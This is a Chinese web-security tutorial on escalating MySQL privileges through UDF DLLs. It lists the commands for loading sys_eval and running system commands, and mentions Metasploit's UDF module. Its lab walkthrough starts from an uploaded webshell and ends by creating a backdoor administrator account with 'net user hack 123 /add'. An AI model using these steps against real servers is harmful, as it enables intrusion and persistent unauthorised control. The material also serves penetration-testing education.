[WEB安全]MySQl提权 mof、udf过程详解(下)

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS PostgreSQL,高可用系列 2核4GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: [WEB安全]MySQl提权 mof、udf过程详解

二、UDF提权

0、原理

UDF:用户自定义函数、通过添加新函数、对mysql进行功能扩充


官方定义:UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。 用户通过自定义函数可以实现在Mysql中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用利用MYSQL的自定义函数功能将Mysql账号转换为system权限。


假设我们的udf文件名是udf.dll,存放在mysql安装目录的lib/plugin(mysql>5.1,该目录是不存在的)

image.png

在 udf.dll 文件中,我定义了名为 sys_eval() 的 MySQL 函数,该函数可以执行系统任意命令。但是如果我现在就打开 MySQL 命令行,使用 select sys_eval(‘whoami’);的话,系统会返回 sys_eval() 函数未定义。因为我们仅仅是把 udf.dll 放到了 lib/plugin 目录下,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。

所以,我们应该把 udf.dll 中的自定义函数引入进来。


看一下官方文档中的语法:

CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'

上述语法含有两个变量:

1、function_name(函数名),引入的是sys_eval函数

2、共享函数包shared_library_name,udf.dll

当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。

当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。

udf:sqlmap/data/udf/mysql

sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_
sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_

sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。

可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下,执行命令

python cloak.py -d -i C:\Users\BJernsen\Desktop\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

image.png

sqlmap中的udf文件提供的函数


sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。


或者是在kali中/usr/share/metasploit-framework/data/exploits/mysql/

image.png

1、步骤

1、确定 secure_file_priv 的值


只有空值才可以提权


2、查看plugin的值

select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
当plugin的值为空时不可提权
当plugin的值为mysql_native_password可通过账户连接提权

3、查看系统架构以及plugin目录

show variables like '%compile%';    //查看主机版本及框架
show variables like '%plugin%';     //查看plugin目录(udf.php中都有)

第三步就是为了看看我们需要32还是64的dll

image.png

4、将dll文件写入plugin目录,并且创建函数

CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'

5、系统命令

在udf.dll文件写入plugin目录后,之后就可以使用sys_eval函数了

select * from mysql.func where name = 'sys_eval' //
select sys_eval('whoami')

image.png

如果得到了数据库的用户名和密码,并且可以远程连接的话,可以使用MSF里面的 exploit/multi/mysql/mysql_udf_payload 模块自动注入。


使用MSF中的 exploit/multi/mysql/mysql_udf_payload 模块也可以进行UDF提权。MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,如果该目录不存在的话,则无法执行成功),dll文件名为任意创建的名字。该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。


缺点:

1、仍然需要创建路径

2、回显只有0/1

3、需要手动创建函数


2、实操

下载udf.php的链接

靶机环境:Windows Server 2003 、php 5.2.17 、 mysql 5.5.53

这里我们已经通过上传一句话木马拿到网站的shell了,并且得到了网站数据库的用户名和密码都是root。但是因为获得的系统用户权限太低,无法创建新用户。而且也不能使用其他提权等手段。所以,我们现在要做的就是使用UDF进行提权。

首先,我们把udf.php 两个文件上传到网站服务器

image.png

先创建目录点击Create PliuginDir

image.png

然后我们点击 Dump UDF ,提示Dump DLL Success !

image.png

然后我们点击 Create Function,下面就会有 select shell(‘cmd’,‘whoami’) ,然后我们点击 Mysql_query ,下面就会有whoami命令的执行结果

image.png

我们可以把命令换成 net user hack 123 /add ,新建一个用户,可以看到成功了!然后我们接下来吧hack用户添加到administrators管理员组内,就可以远程登录了!

image.png

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
相关文章
|
3月前
|
关系型数据库 MySQL 分布式数据库
安全可靠的PolarDB V2.0 (兼容MySQL)产品能力及应用场景
PolarDB分布式轻量版采用软件输出方式,能够部署在您的自主环境中。PolarDB分布式轻量版保留并承载了云原生数据库PolarDB分布式版技术团队深厚的内核优化成果,在保持高性能的同时,显著降低成本。
|
4月前
|
Web App开发 监控 安全
OSS客户端签名直传实践:Web端安全上传TB级文件方案(含STS临时授权)
本文深入解析了客户端直传技术,涵盖架构设计、安全机制、性能优化等方面。通过STS临时凭证与分片上传实现高效安全的文件传输,显著降低服务端负载与上传耗时,提升系统稳定性与用户体验。
439 2
|
14天前
|
安全 Linux iOS开发
Burp Suite Professional 2025.9 发布 - Web 应用安全、测试和扫描
Burp Suite Professional 2025.9 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
154 0
Burp Suite Professional 2025.9 发布 - Web 应用安全、测试和扫描
|
3月前
|
安全 Linux iOS开发
Burp Suite Professional 2025.7 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
Burp Suite Professional 2025.7 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
345 0
Burp Suite Professional 2025.7 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
|
3月前
|
存储 安全 JavaScript
Web Storage有哪些安全风险?
Web Storage有哪些安全风险?
|
6月前
|
安全 Linux API
Burp Suite Professional 2025.4 发布 - Web 应用安全、测试和扫描
Burp Suite Professional 2025.4 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
280 6
Burp Suite Professional 2025.4 发布 - Web 应用安全、测试和扫描
|
8月前
|
人工智能 Linux iOS开发
Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
356 12
Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
|
7月前
|
安全 大数据 数据挖掘
课时9:阿里云Web应用防火墙:全面保障网站的安全与可用性
阿里云Web应用防火墙(WAF)基于阿里巴巴十年攻防经验,提供全面的网站安全防护。它通过Web应用防护、CC攻击防护和业务风控,有效应对各类网络威胁,确保网站的安全与可用性。智能双引擎技术降低误报率,实时数据分析和虚拟补丁更新保障系统安全。WAF已成功护航多个重大活动,为企业提供高效、简便的安全解决方案。
156 0
|
9月前
|
SQL 安全 关系型数据库
MySQL UDF提权
通过这些内容的详细介绍和实际案例分析,希望能帮助您深入理解MySQL UDF提权的机制、实现步骤及防范措施,提高系统的安全性和防护能力。
587 11
|
10月前
|
缓存 安全 搜索推荐
阿里云先知安全沙龙(北京站) ——浅谈Web快速打点
信息收集是网络安全中的重要环节,常用工具如Hunter、Fofa和扫描工具可帮助全面了解目标系统的网络结构与潜在漏洞。遇到默认Nginx或Tomcat 404页面时,可通过扫路径、域名模糊测试、搜索引擎缓存等手段获取更多信息。AllIN工具(GitHub: P1-Team/AllIN)能高效扫描网站路径,发现敏感信息。漏洞利用则需充分准备,以应对突发情况,确保快速拿下目标站点。 简介:信息收集与漏洞利用是网络安全的两大关键步骤。通过多种工具和技术手段,安全人员可以全面了解目标系统,发现潜在漏洞,并制定有效的防御和攻击策略。

推荐镜像

更多